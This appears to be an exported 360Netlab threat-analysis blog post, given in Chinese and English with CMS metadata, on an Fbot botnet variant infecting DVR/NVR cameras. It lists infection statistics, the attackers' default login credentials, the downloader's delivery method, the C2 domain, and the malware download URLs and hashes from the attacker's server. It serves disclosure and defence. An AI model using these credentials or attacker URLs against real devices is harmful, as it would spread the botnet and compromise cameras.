<p>样本中使用了两层不同的加解密代码，来保护样本中的静态资源不被分析。</p> <p>最先用到的是一个单字节异或算法（异或0x31），相关代码如下图所示（Python 2.7）:</p> <p><img src="__GHOST_URL__/content/images/2019/02/image003.png" alt="image003" loading="lazy"></p> <p>上述代码运行后会得到两个码表，分别为密文表/明文表。依照这两个码表做字符替换，就可以解密样本中其他静态字符串了。相关代码如下图所示（Python）：</p> <p><img src="__GHOST_URL__/content/images/2019/02/image004.png" alt="image004" loading="lazy"></p> <p>将第一行输出进行截断操作后就得到了Fbot的C2地址（xabolfpzbz.ukrainianhorseriding.com）。</p> <p>随后可以看到一些指令（PING/PONG/LOLNOGTFO）及资源控制相关的字符串，值得关注的是，最后两行字串是和本次扫描事件有关的字串。其中“GET / HTTP/1.0”被用于扫描，而“uc-httpd 1.0.0”则是扫描的目标特征。在MIRAI-SYN-SCAN的支持下，一旦扫到符合条件的目标，就会将目标的地址信息（IP：PORT）报告给核心Loader（185.61.138.13：6565），汇报的相关代码及协议格式如下图所示：</p> <p><img src="__GHOST_URL__/content/images/2019/02/image006.png" alt="image006" loading="lazy"></p> <h4 id="ddos">用于DDoS攻击</h4> <p>在我们之前披露的<a href="__GHOST_URL__/fbot-a-satori-related-block-chain-dns-based-worm/">文章中</a><br> 曾介绍Fbot移除了DDoS功能。事实上，它在随后的更新中已经恢复了DDoS的功能模块。本次更新的样本中，具有5种攻击向量，均为DDoS相关。相关初始化代码如下所示：</p> <p><img src="__GHOST_URL__/content/images/2019/02/image008.png" alt="image008" loading="lazy"></p> <h3 id="">总结</h3> <p>我们建议HiSilicon等相关厂商提升初始密码复杂度，同时建立完善的软件系统安全更新机制。</p> <p>相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。</p> <h4 id="">联系我们</h4> <p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p> <h3 id="ioclist">IoC list</h3> <pre><code>C2: xabolfpzbz.ukrainianhorseriding.com:6592 reporter ip: 185.61.138.13:6565 loader ip: 185.61.138.13 url: http://185.61.138.13:8080/fbot.arm5.u http://185.61.138.13:8080/fbot.arm7.u md5: 9827375cd2e8ee9e3acc870e4b4c6097 downloader 3b7f5be1c1ed582042f783ffcb23b754 downloader 43a7d9956720b86330d4985c773e76c1 fbot.arm5.u </code></pre> <h3 id="asntop20">ASN Top 20</h3> <pre><code>&quot;geoip.number.raw: Descending&quot;,&quot;geoip.asn.raw: Descending&quot;,&quot;Unique count of ip.raw&quot; AS45899,&quot;VNPT Corp&quot;,2590 AS7552,&quot;Viettel Group&quot;,3600 AS3462,&quot;Data Communication Business Group&quot;,1270 AS18403,&quot;The Corporation for Financing &amp; Promoting Technology&quot;,996 AS9121,&quot;Turk Telekom&quot;,777 AS17552,&quot;True Internet Co.,Ltd.&quot;,676 AS24086,&quot;Viettel Corporation&quot;,531 AS4788,&quot;TM Net, Internet Service Provider&quot;,428 AS17974,&quot;PT Telekomunikasi Indonesia&quot;,376 AS45758,&quot;Triple T Internet/Triple T Broadband&quot;,479 AS23969,&quot;TOT Public Company Limited&quot;,325 AS18881,&quot;TELEFÔNICA BRASIL S.A&quot;,319 AS8452,&quot;TE-AS&quot;,259 AS9829,&quot;National Internet Backbone&quot;,178 AS12880,&quot;Information Technology Company (ITC)&quot;,277 AS8708,&quot;RCS &amp; RDS&quot;,270 AS8151,&quot;Uninet S.A. de C.V.&quot;,282 AS9329,&quot;Sri Lanka Telecom Internet&quot;,334 AS7738,&quot;Telemar Norte Leste S.A.&quot;,183 AS3269,&quot;Telecom Italia&quot;,209 </code></pre> <!--kg-card-end: markdown-->

【更新：2019年12月4日】近期我们多次收到针对本blog的询问。我们决定将一些事实补充列出如下： ——Kenneth Crurrin Schuchman，绰号 Nexus-Zeta，一名21岁的年轻人，已经于2019年9月3日向美国阿拉斯加区域法庭认罪。Schuchman的认罪书表明，Schuchman及其同谋者通过感染大批设备，创建了一系列僵尸网络，包括 Satori，Okiru，Masuta，Tsunami，Fbot，并利用这些僵尸网络的DDoS破坏力牟利； ——本 Blog 中涉及到的脆弱性并非发生在 Hisilicon。通过后续分析以及安全社区交流，我们确认该脆弱性发生在华为海思的供应链下游厂商。为了保护最终客户的利益，我们决定不公开脆弱性细节、攻击者使用的载荷或者具体厂商名字； ——华为 PSIRT 对我们披露的安全事件，作出了负责任的响应； 读者在继续阅读本blog时，应当明确blog和样本中出现的 Hisilicon字样，源自Schuchman及其同谋者的错误判断。实际上整个IoT产业链条庞杂，其体量远超攻击者或者任何单一从业人员能够理解的范围。只有产业界和安全社区的通力合作，才能增强产业链的安全性。 【更新：2019年2月21日】 2019年2月21日11点，我们捕获到了Fbot Loader完整的漏洞利用Payload，攻击者通过DVRIP协议建立telnet后门并植入Fbot僵尸网络程序。 特别声明 本次抓取的Fbot看起来是以 HiSilicon DVR/NVR Soc 的设备为目标，我们已经看到有24528个设备IP被感染。但需要警惕的是，考虑到物联网行业具有复杂的产业链，实际问题可能是在它的下游引入的，我们这里之所以列出 HiSilicon DVR/NVR Soc 仅源自于我们对可获取特征的统计，在没有拿到实际 Exploit 之前，我们无法给出引入问题的确切位置。 背景介绍 从2019年2月16号开始，360Netlab发现有大量HiSilicon DVR/NVR Soc设备被攻击者利用并植入Fbot僵尸网络程序。Fbot是由360Netlab率先发现并披露的僵尸网络[1]，它一直很活跃，并且有在不断地升级。我们这次捕获到的Fbot就是一个针对HiSilicon DVR/NVR Soc设备的变种。 Fbot 感染目标 通过探测被感染的设备IP banner信息，我们得到一个被感染的设备CPU型号列表，并且可以确认这是属于HiSilicon DVR/NVR Soc设备[2]。由于有大量摄像头厂商采用了HiSilicon DVR/NVR Soc，我们也可以看到其它一些摄像头品牌。 目前，我们已经看到有24528个设备IP被感染。 图1：被感染的设备IP 国家/地区分布 以下是被感染的摄像头IP 国家/地区详细列表 VN 6760 TW 2110 TH 1459 BR 1276 TR 1137 IN 942 IR 892 RU 862 ID 609 RO 579 MY 553 IT 489 CO 363 EG 362 LK 360 US 328 AR 310 MX 293 FR 255 PK 237 UY 185 PL 184 GB 184 VE 183 CL 177 MA 176 UA 166 BG 147 GR 142 HU 141 SG 130 IL 123 DE 109 BD 106 ES 103 以下是被感染的设备CPU型号列表 8262 bigfish 3534 hi3520d 383 godarm 302 godnet 78 hi3535 8 Hisilicon Hi3536DV100 (Flattened Device Tree) Fbot 感染流程 Fbot感染流程错综复杂，我们通过Anglerfish蜜罐和Fuzz Testing的技巧成功捕获到Fbot样本以及部分Paylod。遗憾的是，我们目前还没有捕获到关键Exploit Payload。以下是，Fbot大致的感染流程。 图2：Fbot 感染流程 首先，被感染Fbot的设备会通过基础的HTTP请求去扫描TCP:80, 81, 88, 8000, 8080端口，当目标设备返回符合的特征后，Fbot会把这个IP和端口上报给 Reporter（185.61.138.13:6565）。 接着，Fbot Loader（185.61.138.13）通过设备默认密码 “admin/空密码” 登录目标设备Web端口，当目标设备返回符合的特征后，Fbot Loader再次使用设备默认密码 “admin/tlJwpbo6” 登录dvrip端口（TCP:34567） 由于我们的Anglerfish蜜罐并没有模拟dvrip协议，跟Fbot Loader的正常交互到这里就不能继续了。 所以，我们还不确定Fbot的Exploit入口（dvrip/web），也不确定是正常dvr协议利用还是漏洞利用。 Fuzz Fbot Loader 我们通过对dvrip协议进行Fuzz Testing，成功绕过Fbot Loader的Exploit逻辑。然后，Fbot Loader就会通过Shell命令向我们的TCP: 9000端口植入Fbot downloader。至此，我们便拿到了Fbot Downloader样本，然后通过Downloader样本我们得到Fbot 下载URL。 http://185.61.138.13:8080/fbot.arm5.u http://185.61.138.13:8080/fbot.arm7.u 样本分析 Downloader MD5：3b7f5be1c1ed582042f783ffcb23b754 该样本是在9000端口通过命令行（echo -ne XXXXXX > downloader）投递的，其核心功能只有一个，那就是通过HTTP协议从网络下载Fbot的主体并执行，下图是该样本中核心代码截图，可以直接看到下载Fbot的相关代码： fbot.arm5.u 被分析样本为fbot.arm5.u， MD5: 43A7D9956720B86330D4985C773E76C1 资源加密 样本中使用了两层不同的加解密代码，来保护样本中的静态资源不被分析。 最先用到的是一个单字节异或算法（异或0x31），相关代码如下图所示（Python 2.7）: 上述代码运行后会得到两个码表，分别为密文表/明文表。依照这两个码表做字符替换，就可以解密样本中其他静态字符串了。相关代码如下图所示（Python）： 将第一行输出进行截断操作后就得到了Fbot的C2地址（xabolfpzbz.ukrainianhorseriding.com）。 随后可以看到一些指令（PING/PONG/LOLNOGTFO）及资源控制相关的字符串，值得关注的是，最后两行字串是和本次扫描事件有关的字串。其中“GET / HTTP/1.0”被用于扫描，而“uc-httpd 1.0.0”则是扫描的目标特征。在MIRAI-SYN-SCAN的支持下，一旦扫到符合条件的目标，就会将目标的地址信息（IP：PORT）报告给核心Loader（185.61.138.13：6565），汇报的相关代码及协议格式如下图所示： 用于DDoS攻击 在我们之前披露的文章中 曾介绍Fbot移除了DDoS功能。事实上，它在随后的更新中已经恢复了DDoS的功能模块。本次更新的样本中，具有5种攻击向量，均为DDoS相关。相关初始化代码如下所示： 总结 我们建议HiSilicon等相关厂商提升初始密码复杂度，同时建立完善的软件系统安全更新机制。 相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。 联系我们 感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。 IoC list C2: xabolfpzbz.ukrainianhorseriding.com:6592 reporter ip: 185.61.138.13:6565 loader ip: 185.61.138.13 url: http://185.61.138.13:8080/fbot.arm5.u http://185.61.138.13:8080/fbot.arm7.u md5: 9827375cd2e8ee9e3acc870e4b4c6097 downloader 3b7f5be1c1ed582042f783ffcb23b754 downloader 43a7d9956720b86330d4985c773e76c1 fbot.arm5.u ASN Top 20 "geoip.number.raw: Descending","geoip.asn.raw: Descending","Unique count of ip.raw" AS45899,"VNPT Corp",2590 AS7552,"Viettel Group",3600 AS3462,"Data Communication Business Group",1270 AS18403,"The Corporation for Financing & Promoting Technology",996 AS9121,"Turk Telekom",777 AS17552,"True Internet Co.,Ltd.",676 AS24086,"Viettel Corporation",531 AS4788,"TM Net, Internet Service Provider",428 AS17974,"PT Telekomunikasi Indonesia",376 AS45758,"Triple T Internet/Triple T Broadband",479 AS23969,"TOT Public Company Limited",325 AS18881,"TELEFÔNICA BRASIL S.A",319 AS8452,"TE-AS",259 AS9829,"National Internet Backbone",178 AS12880,"Information Technology Company (ITC)",277 AS8708,"RCS & RDS",270 AS8151,"Uninet S.A. de C.V.",282 AS9329,"Sri Lanka Telecom Internet",334 AS7738,"Telemar Norte Leste S.A.",183 AS3269,"Telecom Italia",209

{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"【更新：2019年12月4日】近期我们多次收到针对本blog的询问。我们决定将一些事实补充列出如下：\n\n——Kenneth Crurrin Schuchman，绰号 Nexus-Zeta，一名21岁的年轻人，已经于2019年9月3日向美国阿拉斯加区域法庭认罪。Schuchman的认罪书表明，Schuchman及其同谋者通过感染大批设备，创建了一系列僵尸网络，包括 Satori，Okiru，Masuta，Tsunami，Fbot，并利用这些僵尸网络的DDoS破坏力牟利；\n——本 Blog 中涉及到的脆弱性并非发生在 Hisilicon。通过后续分析以及安全社区交流，我们确认该脆弱性发生在华为海思的供应链下游厂商。为了保护最终客户的利益，我们决定不公开脆弱性细节、攻击者使用的载荷或者具体厂商名字；\n——华为 PSIRT 对我们披露的安全事件，作出了负责任的响应；\n\n读者在继续阅读本blog时，应当明确blog和样本中出现的 Hisilicon字样，源自Schuchman及其同谋者的错误判断。实际上整个IoT产业链条庞杂，其体量远超攻击者或者任何单一从业人员能够理解的范围。只有产业界和安全社区的通力合作，才能增强产业链的安全性。\n\n\n【更新：2019年2月21日】 2019年2月21日11点，我们捕获到了Fbot Loader完整的漏洞利用Payload，攻击者通过DVRIP协议建立telnet后门并植入Fbot僵尸网络程序。\n\n\n### 特别声明\n\n本次抓取的Fbot看起来是以 HiSilicon DVR/NVR Soc 的设备为目标，我们已经看到有24528个设备IP被感染。但需要警惕的是，考虑到物联网行业具有复杂的产业链，实际问题可能是在它的下游引入的，我们这里之所以列出 HiSilicon DVR/NVR Soc 仅源自于我们对可获取特征的统计，在没有拿到实际 Exploit 之前，我们无法给出引入问题的确切位置。\n\n### 背景介绍\n从2019年2月16号开始，360Netlab发现有大量HiSilicon DVR/NVR Soc设备被攻击者利用并植入Fbot僵尸网络程序。Fbot是由360Netlab率先发现并披露的僵尸网络[[1\\]](__GHOST_URL__/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en/)，它一直很活跃，并且有在不断地升级。我们这次捕获到的Fbot就是一个针对HiSilicon DVR/NVR Soc设备的变种。\n\n### Fbot 感染目标\n\n通过探测被感染的设备IP banner信息，我们得到一个被感染的设备CPU型号列表，并且可以确认这是属于HiSilicon DVR/NVR Soc设备[[2\\]](http://www.hisilicon.com/en/Products)。由于有大量摄像头厂商采用了HiSilicon DVR/NVR Soc，我们也可以看到其它一些摄像头品牌。\n\n目前，我们已经看到有24528个设备IP被感染。\n\n<center>图1：被感染的设备IP 国家/地区分布 </center>\n\n以下是被感染的摄像头IP 国家/地区详细列表\n```\nVN 6760\nTW 2110\nTH 1459\nBR 1276\nTR 1137\nIN 942\nIR 892\nRU 862\nID 609\nRO 579\nMY 553\nIT 489\nCO 363\nEG 362\nLK 360\nUS 328\nAR 310\nMX 293\nFR 255\nPK 237\nUY 185\nPL 184\nGB 184\nVE 183\nCL 177\nMA 176\nUA 166\nBG 147\nGR 142\nHU 141\nSG 130\nIL 123\nDE 109\nBD 106\nES 103\n```\n\n以下是被感染的设备CPU型号列表\n```\n 8262 bigfish\n 3534 hi3520d\n 383 godarm\n 302 godnet\n 78 hi3535\n 8 Hisilicon Hi3536DV100 (Flattened Device Tree)\n```\n\n### Fbot 感染流程\n\nFbot感染流程错综复杂，我们通过Anglerfish蜜罐和Fuzz Testing的技巧成功捕获到Fbot样本以及部分Paylod。遗憾的是，我们目前还没有捕获到关键Exploit Payload。以下是，Fbot大致的感染流程。\n\n<center>图2：Fbot 感染流程 </center>\n\n首先，被感染Fbot的设备会通过基础的HTTP请求去扫描TCP:80, 81, 88, 8000, 8080端口，当目标设备返回符合的特征后，Fbot会把这个IP和端口上报给 Reporter（185.61.138.13:6565）。\n\n接着，Fbot Loader（185.61.138.13）通过设备默认密码 “admin/空密码” 登录目标设备Web端口，当目标设备返回符合的特征后，Fbot Loader再次使用设备默认密码 “admin/tlJwpbo6” 登录dvrip端口（TCP:34567）\n\n由于我们的Anglerfish蜜罐并没有模拟dvrip协议，跟Fbot Loader的正常交互到这里就不能继续了。\n\n所以，我们还不确定Fbot的Exploit入口（dvrip/web），也不确定是正常dvr协议利用还是漏洞利用。\n\n### Fuzz Fbot Loader\n\n我们通过对dvrip协议进行Fuzz Testing，成功绕过Fbot Loader的Exploit逻辑。然后，Fbot Loader就会通过Shell命令向我们的TCP: 9000端口植入Fbot downloader。至此，我们便拿到了Fbot Downloader样本，然后通过Downloader样本我们得到Fbot 下载URL。\n\n```\nhttp://185.61.138.13:8080/fbot.arm5.u\nhttp://185.61.138.13:8080/fbot.arm7.u\n```\n\n## 样本分析\n### Downloader\nMD5：3b7f5be1c1ed582042f783ffcb23b754\n该样本是在9000端口通过命令行（echo -ne XXXXXX > downloader）投递的，其核心功能只有一个，那就是通过HTTP协议从网络下载Fbot的主体并执行，下图是该样本中核心代码截图，可以直接看到下载Fbot的相关代码： \n \n\n \n### fbot.arm5.u\n被分析样本为fbot.arm5.u， MD5: 43A7D9956720B86330D4985C773E76C1\n#### 资源加密\n样本中使用了两层不同的加解密代码，来保护样本中的静态资源不被分析。\n\n最先用到的是一个单字节异或算法（异或0x31），相关代码如下图所示（Python 2.7）:\n \n \n \n上述代码运行后会得到两个码表，分别为密文表/明文表。依照这两个码表做字符替换，就可以解密样本中其他静态字符串了。相关代码如下图所示（Python）：\n \n \n \n将第一行输出进行截断操作后就得到了Fbot的C2地址（xabolfpzbz.ukrainianhorseriding.com）。\n\n随后可以看到一些指令（PING/PONG/LOLNOGTFO）及资源控制相关的字符串，值得关注的是，最后两行字串是和本次扫描事件有关的字串。其中“GET / HTTP/1.0”被用于扫描，而“uc-httpd 1.0.0”则是扫描的目标特征。在MIRAI-SYN-SCAN的支持下，一旦扫到符合条件的目标，就会将目标的地址信息（IP：PORT）报告给核心Loader（185.61.138.13：6565），汇报的相关代码及协议格式如下图所示：\n \n \n \n#### 用于DDoS攻击\n在我们之前披露的[文章中](__GHOST_URL__/fbot-a-satori-related-block-chain-dns-based-worm/)\n曾介绍Fbot移除了DDoS功能。事实上，它在随后的更新中已经恢复了DDoS的功能模块。本次更新的样本中，具有5种攻击向量，均为DDoS相关。相关初始化代码如下所示：\n \n\n\n\n### 总结\n\n我们建议HiSilicon等相关厂商提升初始密码复杂度，同时建立完善的软件系统安全更新机制。\n\n相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。\n\n\n#### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n### IoC list\n```\nC2:\nxabolfpzbz.ukrainianhorseriding.com:6592\n\nreporter ip:\n185.61.138.13:6565\n\nloader ip:\n185.61.138.13\n\nurl:\nhttp://185.61.138.13:8080/fbot.arm5.u\nhttp://185.61.138.13:8080/fbot.arm7.u\n\nmd5:\n9827375cd2e8ee9e3acc870e4b4c6097 downloader\n3b7f5be1c1ed582042f783ffcb23b754 downloader\n43a7d9956720b86330d4985c773e76c1 fbot.arm5.u\n\n```\n\n### ASN Top 20\n\n```\n\"geoip.number.raw: Descending\",\"geoip.asn.raw: Descending\",\"Unique count of ip.raw\"\nAS45899,\"VNPT Corp\",2590\nAS7552,\"Viettel Group\",3600\nAS3462,\"Data Communication Business Group\",1270\nAS18403,\"The Corporation for Financing & Promoting Technology\",996\nAS9121,\"Turk Telekom\",777\nAS17552,\"True Internet Co.,Ltd.\",676\nAS24086,\"Viettel Corporation\",531\nAS4788,\"TM Net, Internet Service Provider\",428\nAS17974,\"PT Telekomunikasi Indonesia\",376\nAS45758,\"Triple T Internet/Triple T Broadband\",479\nAS23969,\"TOT Public Company Limited\",325\nAS18881,\"TELEFÔNICA BRASIL S.A\",319\nAS8452,\"TE-AS\",259\nAS9829,\"National Internet Backbone\",178\nAS12880,\"Information Technology Company (ITC)\",277\nAS8708,\"RCS & RDS\",270\nAS8151,\"Uninet S.A. de C.V.\",282\nAS9329,\"Sri Lanka Telecom Internet\",334\nAS7738,\"Telemar Norte Leste S.A.\",183\nAS3269,\"Telecom Italia\",209\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}

5c6bc41f3e49df0007c26b3c

post

2019-02-20T04:24:37.000Z

63873b9a8b1c1e0007f52f44

the-new-developments-of-the-fbot-en

2022-02-09T07:12:49.000Z

public

published

2019-02-20T08:37:17.000Z

The new developments Of the FBot

<!--kg-card-begin: markdown--><p>Update 2019.12.04: Recently we have received quite a few requests of comment about this blog. We feel it necessary to list following facts here:</p> <ol> <li>Kenneth Crurrin Schuchman, with nicknames &quot;Nexus&quot; or &quot;Nexus-Zeta&quot;, a 21 years old young man, has pleaded guilty on 2019.09.03 to the United States District Court for the District of Alaska. The Factual Basis in the Plea Agreement show that Schuchman and his co-conspirators has infected massive devices to create a series of botnets, including Satori, Okiru, Masuta, Tsunami and Fbot, and to make money through them.</li> <li>The vulnerability listed in this blog, is not inside Hisilicon Soc Chipset or product. Through later analyze and communication with the security community, we are sure it is located in one downstream vendor. To protect our end users, we will not disclose the vulnerability detail, the attack payload, or the name of the vendor.</li> <li>Huawei PSIRT took a responsible action for this event.</li> </ol> <p>Readers, please kindly keep in mind that the string Hisilicon listed in this blog or buried in the malware sample is derived from the misunderstanding of Schuchman and his co-conspirators. Actually, the whole IoT supply chain is so complex for every single pacificator, that only by a throughout cooperation from the industry and the security community can we make it safer.</p> <p>Update 2019.02.21: we have captured the key exploit at around 11am 2/21 (GMT+8), it appears that some vendor have weak security implementation of DVRIP protocol, and attacker has spot the weakness and sets up telnet backdoor and inject Fbot botnet on the related victims.</p> <!--kg-card-end: markdown--><h3 id="background-introduction">Background introduction</h3><p>Beginning on February 16, 2019, 360Netlab has discovered that a large number of HiSilicon DVR/NVR Soc devices have been exploited by attackers to load an updated Fbot botnet program. Fbot was originally discovered and disclosed by 360Netlab [<a href="__GHOST_URL__/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en/">1]</a> , it has been active and is constantly being upgraded. The Fbot we captured this time is a variant targeting HiSilicon DVR/NVR Soc device. (Please bear in mind that IoT product has a long market chain and thing can go wrong at every possible downstream or upstream manufacturere, we list HiSilicon DVR/NVR Soc here as that is what is being shown on the bots themself, the root problem might be a specific OEM application running on top of the HiSilicon. Without a working exploit, this is a question yet to be answered.)</p><h3 id="fbot-infection-target">Fbot infection target</h3><p>By probing the IP banner information of the infected devices, we get a list of infected device models and all banner messages suggest that the bots have HiSilicon DVR/NVR Soc device family CPU running . We see a few different camera brands as a number of camera manufacturers oem HiSilicon DVR/NVR Soc device.</p><p>All together, we have 24528 infected IPs</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/fbot.png" class="kg-image" alt="fbot" loading="lazy"><figcaption>Figure 1: Infected camera IP country/region distribution</figcaption></figure><p>The following is a country breakdown of infected camera IPs</p><pre><code>VN 6760 TW 2110 TH 1459 BR 1276 TR 1137 IN 942 IR 892 RU 862 ID 609 RO 579 MY 553 IT 489 CO 363 EG 362 LK 360 US 328 AR 310 MX 293 FR 255 PK 237 UY 185 PL 184 GB 184 VE 183 CL 177 MA 176 UA 166 BG 147 GR 142 HU 141 SG 130 IL 123 DE 109 BD 106 ES 103</code></pre><p>The following is a list of infected camera's CPU models</p><pre><code> 8262 bigfish 3534 hi3520d 383 godarm 302 godnet 78 hi3535 8 Hisilicon Hi3536DV100 (Flattened Device Tree) </code></pre><h3 id="fbot-infection-process">Fbot infection process</h3><p>The Fbot infection is a multiple steps process, and we successfully captured Fbot samples and some Paylods through our Anglerfish honeypot and some Fuzz Testing tricks. We have not yet captured the key Exploit Payload though and would be interested if anyone has more detail on that. </p><p>The following is overall infection process.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2019/02/fbot_http_scan-3.png" class="kg-image" alt loading="lazy"><figcaption>Figure 2: Infection process</figcaption></figure><p>First, the device that is infected with Fbot scans  TCP: 80, 81, 88, 8000, 8080 ports by issuing basic HTTP requests. When a target device returns the matching characteristics, Fbot will report the IP and port to its Reporter (185.61. 138.13:6565).</p><p>After that, Fbot Loader (185.61.138.13) logs in to the target device web port through the device default password “admin/empty password”. If the target device responses, Fbot Loader uses the device default password “admin/tlJwpbo6” to log in to the dvrip port. (TCP: 34567).</p><p>Since our Anglerfish honeypot has not emulated the dvrip protocol yet, we have no visibility on how the exploit works, is it by normal dvr protocol or some new exploit?  We have no answer at this point.</p><h3 id="fuzz-fbot-loader">Fuzz Fbot Loader</h3><p>Nevertheless, we still successfully bypassed the Fbot Loader's Exploit logic by performing Fuzz Testing on the dvrip protocol to see the rest actions of this botnet. It appears that the Fbot Loader then populates the Fbot downloader to our TCP: 9000 port via the Shell command. With this, we got the Fbot Downloader sample, and then through the Downloader sample we got the Fbot download URL.</p><pre><code>http://185.61.138.13:8080/fbot.arm5.u http://185.61.138.13:8080/fbot.arm7.u </code></pre><h2 id="sample-analysis">Sample analysis</h2><h3 id="downloader">Downloader</h3><p>MD5：3b7f5be1c1ed582042f783ffcb23b754<br>This sample is delivered on the 9000 port through command line (echo -ne XXXXXX &gt; downloader). It has only one mission, to download the Fbot and execute it through the HTTP protocol. The figure below shows the a snip of the sample. You can see the relevant code to download Fbot:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/02/image001.png" class="kg-image" alt="image001" loading="lazy"></figure><h3 id="fbot-arm5-u">fbot.arm5.u</h3><p>The fbot sample, MD5:  43A7D9956720B86330D4985C773E76C1</p><h4 id="encryption">Encryption</h4><p>Two different layers of encryption and decryption codes are used in the sample to protect the static resources in the sample from being analyzed.</p><p>The first part uses a single-byte XOR algorithm (exclusive OR 0x31), the relevant code is shown below (Python 2.7):</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/02/image003.png" class="kg-image" alt="image003" loading="lazy"></figure><p>After the above code is run, we get two code tables, which are ciphertext table/clear text table. By replacing the characters with the above two code tables, the static strings in the sample can be decrypted. The relevant code is shown below (Python):</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/02/image004.png" class="kg-image" alt="image004" loading="lazy"></figure><p>After the first line of output is truncated, the Fbot's C2 address (xabolfpzbz.ukrainianhorseriding.com) can be obtained.</p><p>Then you can see some instructions (PING/PONG/LOLNOGTFO) and resource control related strings.</p><p>It is worth noting that the last two lines of strings are the strings related to the ongoing scan event. Where "GET / HTTP/1.0" is used for scanning, and "uc-httpd 1.0.0" is the target feature. With the support of MIRAI-SYN-SCAN, once a qualified target is found, the target address information (IP:PORT) will be reported to the core Loader (185.61.138.13:6565). The relevant code and protocol format are as follows: </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/02/image006.png" class="kg-image" alt="image006" loading="lazy"></figure><h4 id="ddos-attacks">DDOS attacks</h4><p>There are five attack vectors of this Fbot varaint, all of which are DDOS related. The relevant initialization code is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/02/image008.png" class="kg-image" alt="image008" loading="lazy"></figure><h3 id="summary">Summary</h3><p>Relevant security and law enforcement agencies are welcomed to contact netlab[at]360.cn for a list of infected IP addresses.</p><h4 id="contact-us">Contact Us</h4><p>Relevant security and law enforcement agencies are welcomed to contact netlab[at]360.cn for a list of infected IP addresses.</p><p>Readers can reach us on our <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat <strong>360Netlab</strong> or email to netlab at 360 dot cn.</p><h3 id="ioc-list">IoC list</h3><pre><code>C2: xabolfpzbz.ukrainianhorseriding.com:6592 reporter ip: 185.61.138.13:6565 loader ip: 185.61.138.13 url: http://185.61.138.13:8080/fbot.arm5.u http://185.61.138.13:8080/fbot.arm7.u md5: 9827375cd2e8ee9e3acc870e4b4c6097 downloader 3b7f5be1c1ed582042f783ffcb23b754 downloader 43a7d9956720b86330d4985c773e76c1 fbot.arm5.u </code></pre><h3 id="asn-top-20">ASN Top 20</h3><pre><code>"geoip.number.raw: Descending","geoip.asn.raw: Descending","Unique count of ip.raw" AS45899,"VNPT Corp",2590 AS7552,"Viettel Group",3600 AS3462,"Data Communication Business Group",1270 AS18403,"The Corporation for Financing &amp; Promoting Technology",996 AS9121,"Turk Telekom",777 AS17552,"True Internet Co.,Ltd.",676 AS24086,"Viettel Corporation",531 AS4788,"TM Net, Internet Service Provider",428 AS17974,"PT Telekomunikasi Indonesia",376 AS45758,"Triple T Internet/Triple T Broadband",479 AS23969,"TOT Public Company Limited",325 AS18881,"TELEFÔNICA BRASIL S.A",319 AS8452,"TE-AS",259 AS9829,"National Internet Backbone",178 AS12880,"Information Technology Company (ITC)",277 AS8708,"RCS &amp; RDS",270 AS8151,"Uninet S.A. de C.V.",282 AS9329,"Sri Lanka Telecom Internet",334 AS7738,"Telemar Norte Leste S.A.",183 AS3269,"Telecom Italia",209 </code></pre>

Update 2019.12.04: Recently we have received quite a few requests of comment about this blog. We feel it necessary to list following facts here: 1. Kenneth Crurrin Schuchman, with nicknames "Nexus" or "Nexus-Zeta", a 21 years old young man, has pleaded guilty on 2019.09.03 to the United States District Court for the District of Alaska. The Factual Basis in the Plea Agreement show that Schuchman and his co-conspirators has infected massive devices to create a series of botnets, including Satori, Okiru, Masuta, Tsunami and Fbot, and to make money through them. 2. The vulnerability listed in this blog, is not inside Hisilicon Soc Chipset or product. Through later analyze and communication with the security community, we are sure it is located in one downstream vendor. To protect our end users, we will not disclose the vulnerability detail, the attack payload, or the name of the vendor. 3. Huawei PSIRT took a responsible action for this event. Readers, please kindly keep in mind that the string Hisilicon listed in this blog or buried in the malware sample is derived from the misunderstanding of Schuchman and his co-conspirators. Actually, the whole IoT supply chain is so complex for every single pacificator, that only by a throughout cooperation from the industry and the security community can we make it safer. Update 2019.02.21: we have captured the key exploit at around 11am 2/21 (GMT+8), it appears that some vendor have weak security implementation of DVRIP protocol, and attacker has spot the weakness and sets up telnet backdoor and inject Fbot botnet on the related victims. Background introduction Beginning on February 16, 2019, 360Netlab has discovered that a large number of HiSilicon DVR/NVR Soc devices have been exploited by attackers to load an updated Fbot botnet program. Fbot was originally discovered and disclosed by 360Netlab [1] , it has been active and is constantly being upgraded. The Fbot we captured this time is a variant targeting HiSilicon DVR/NVR Soc device. (Please bear in mind that IoT product has a long market chain and thing can go wrong at every possible downstream or upstream manufacturere, we list HiSilicon DVR/NVR Soc here as that is what is being shown on the bots themself, the root problem might be a specific OEM application running on top of the HiSilicon. Without a working exploit, this is a question yet to be answered.) Fbot infection target By probing the IP banner information of the infected devices, we get a list of infected device models and all banner messages suggest that the bots have HiSilicon DVR/NVR Soc device family CPU running . We see a few different camera brands as a number of camera manufacturers oem HiSilicon DVR/NVR Soc device. All together, we have 24528 infected IPs The following is a country breakdown of infected camera IPs VN 6760 TW 2110 TH 1459 BR 1276 TR 1137 IN 942 IR 892 RU 862 ID 609 RO 579 MY 553 IT 489 CO 363 EG 362 LK 360 US 328 AR 310 MX 293 FR 255 PK 237 UY 185 PL 184 GB 184 VE 183 CL 177 MA 176 UA 166 